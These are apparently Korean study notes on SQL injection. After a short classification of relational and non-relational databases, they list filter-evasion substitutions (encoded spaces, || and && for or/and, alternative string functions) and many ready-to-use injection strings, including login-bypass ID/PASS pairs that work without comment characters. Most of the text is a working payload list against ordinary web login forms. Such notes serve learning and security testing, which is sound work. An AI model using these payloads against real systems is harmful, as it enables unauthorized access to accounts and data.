- 데이터베이스의 정보를 저장하고 관리해 주는 DBMS (Database Management System) 는 크게 관계형과 비관계형으로 분류된다
- 관계형 : 행과 혈의 집합인 테이블 형식으로 데이터를 저장 ex) MySQL, MariaDB, PostgreSQL, SQLite
- 비관계형 : 테이블 형식이 아닌 키-값 형태로 값을 저장 ex) MongoDB, CouchDB, Redis
✖️ union select = 중복허용 X , union all select = 중복허용
-- 이처럼 NO-SQL은 각 DB에 해당하는 문법을 특정적으로 알아야 함!
=(등호) → like, in
substr(문자열추출함수) → substring, mid, left, right
공백 → %20, %09, %0a, %0b, %0c, %0d, %a0, (), /**/, +
숫자를 사용할 수 없는 경우 → false(=0), true(=1), true+true(=2)
or → ||
and → &&
빈공간, 연산자 응용 Injection
ex) '=0# , '>-1# , 1'<99# , '=0=1# , '<=>0# , '=1<>1# , '<>1# , '!=2!=3!=4#
비트 연산 응용 Injection
ex) '&0# , '^0# , '<<0# , '|0&1# , '%11&1#
함수를 이용한 Injection
ex) '<hex(1)# , '=left(0x30,1)# , '=right(0,1)# , '!=curdate()# , '-reverse(0)# , '=ltrim(0)# , '<abs(1)# , 'round(1,1)# , '&left(0,0)# , 'round(0,1)*round(0,1)#
SQL 키워드를 이용한 Injection
ex) ' <1 and 1# , 'xor 1# , 'div 1# , 'is not null# , admin' order by' , admin' group by' , 'like 0# , 'between 1 and 1# , 'regexp 1#
주석 없이 True, False SQL Injection
ID : '=' , PASS: '=' ,
ID : '<>'1 , PASS: '<>'1
ID : '>1=' , PASS: '>1='
ID : 0'='0 , PASS: 0'='0
ID : '<1 and 1>' , PASS: '<1 and 1>'
ID : '<>ifnull(1,2)='1 , PASS: '<>ifnull(1,2)='1
ID : '=round(0,1)='1 , PASS: '=round(0,1)='1
ID : '0' , PASS: '0'
ID : '+' , PASS: '+'
ID : '-' , PASS: '-'
ID :'+1-1-' , PASS:'+1-1-'